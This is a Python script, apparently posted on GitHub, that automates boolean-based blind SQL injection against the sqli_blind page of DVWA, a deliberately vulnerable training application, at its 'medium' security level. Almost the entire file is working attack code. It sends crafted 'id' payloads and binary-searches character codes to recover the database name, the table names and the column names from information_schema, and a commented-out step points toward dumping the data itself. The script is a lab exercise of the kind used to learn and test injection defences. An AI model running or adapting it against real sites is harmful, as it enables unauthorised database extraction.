-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsqli blind medium.py
178 lines (177 loc) · 6.82 KB
/
sqli blind medium.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
import urllib
from urllib import request, parse
from bs4 import BeautifulSoup
from urllib.parse import urlencode as uc
import requests
header={
'Host': '[YOUR IP]',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://[YOUR IP]',
'Connection': 'close',
'Referer': 'http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/',
'Cookie': 'security=medium; PHPSESSID=[YOUR PHPSESSID]',
'Upgrade-Insecure-Requests': '1'
}
url = 'http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/'
def str2hex(s):
ret='0x'
for i in s:
ret+=str(hex(ord(i)))[2:]
return ret
def check(response):
'''
check found
'''
text = response.text
return text.find('MISSING')==-1
def guessDbLength():
print('Start guess database length:')
for i in range(1,10):
values = {}
values['id']="1 and length(database())="+str(i)+"#"
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
print('Database length is ',i)
return i
def guessDbName(len):
ret=''
print('Start guess database name:')
for i in range(1,len+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1 and ascii(substr(database(),%s,1))>=%s #"%(str(i),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
ret+=chr(ans)
print('Database name is',ret)
return ret
def guessTbNumber():
print('Start guess table number:')
for i in range(1,10):
values = {}
values['id']="1 and (select count(table_name) from information_schema.tables where table_schema=database())=%s #" % (str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
print('Table number is ',i)
return i
def guessTbLength(num):
ret=[]
print('Start guess table length:')
for j in range(num):
for i in range(1,10):
values = {}
values['id']="1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),1))=%s#" % (str(j),str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
ret.append(i)
break
print('Table length is ',ret)
return ret
def guessTbName(nums):
ret=[]
print('Start guess table name:')
for j,num in enumerate(nums):
cur=''
for i in range(1,num+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1))>=%s #"%(str(j),str(i),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
cur+=chr(ans)
ret.append(cur)
print('Table name is',ret)
return ret
def guessFieldNumber(TbNames):
print('Start guess field number:')
ret=[]
for TbName in TbNames:
for i in range(1,15):
values = {}
values['id']="1 and (select count(column_name) from information_schema.columns where table_name= %s)=%s # " % (str2hex(TbName),str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
ret.append(i)
break
print('Field number is ',ret)
return ret
def guessFieldLength(TbNames,FieldNumbers):
ret=[]
print('Start guess field length:')
for i,TbName in enumerate(TbNames):
ret.append([])
for j in range(FieldNumbers[i]):
for k in range(1,20):
values = {}
values['id']="1 and length(substr((select column_name from information_schema.columns where table_name= %s limit %s,1),1))=%s #" % (str2hex(TbName),str(j),str(k))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
ret[i].append(k)
break
print('Field length is ',ret)
return ret
def guessFieldName(TbNames,FieldLengths):
ret=[]
print('Start guess field name:')
for i,TbName in enumerate(TbNames):
ret.append([])
for j,FieldLength in enumerate(FieldLengths[i]):
cur=''
for k in range(1,FieldLength+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1 and ascii(substr((select column_name from information_schema.columns where table_name= %s limit %s,1),%s,1))>=%s #"%(str2hex(TbName),str(j),str(k),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.post(newurl,data=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
cur+=chr(ans)
ret[i].append(cur)
print('Field name is',ret)
return ret
DbLength = guessDbLength()
guessDbName(DbLength)
TbNumber = guessTbNumber()
TbLengths = guessTbLength(TbNumber)
TbNames = guessTbName(TbLengths)
FieldNumbers = guessFieldNumber(TbNames)
FieldLengths = guessFieldLength(TbNames,FieldNumbers)
FieldNames = guessFieldName(TbNames,FieldLengths)
#Datasets = guessData(TbNames,FieldNames)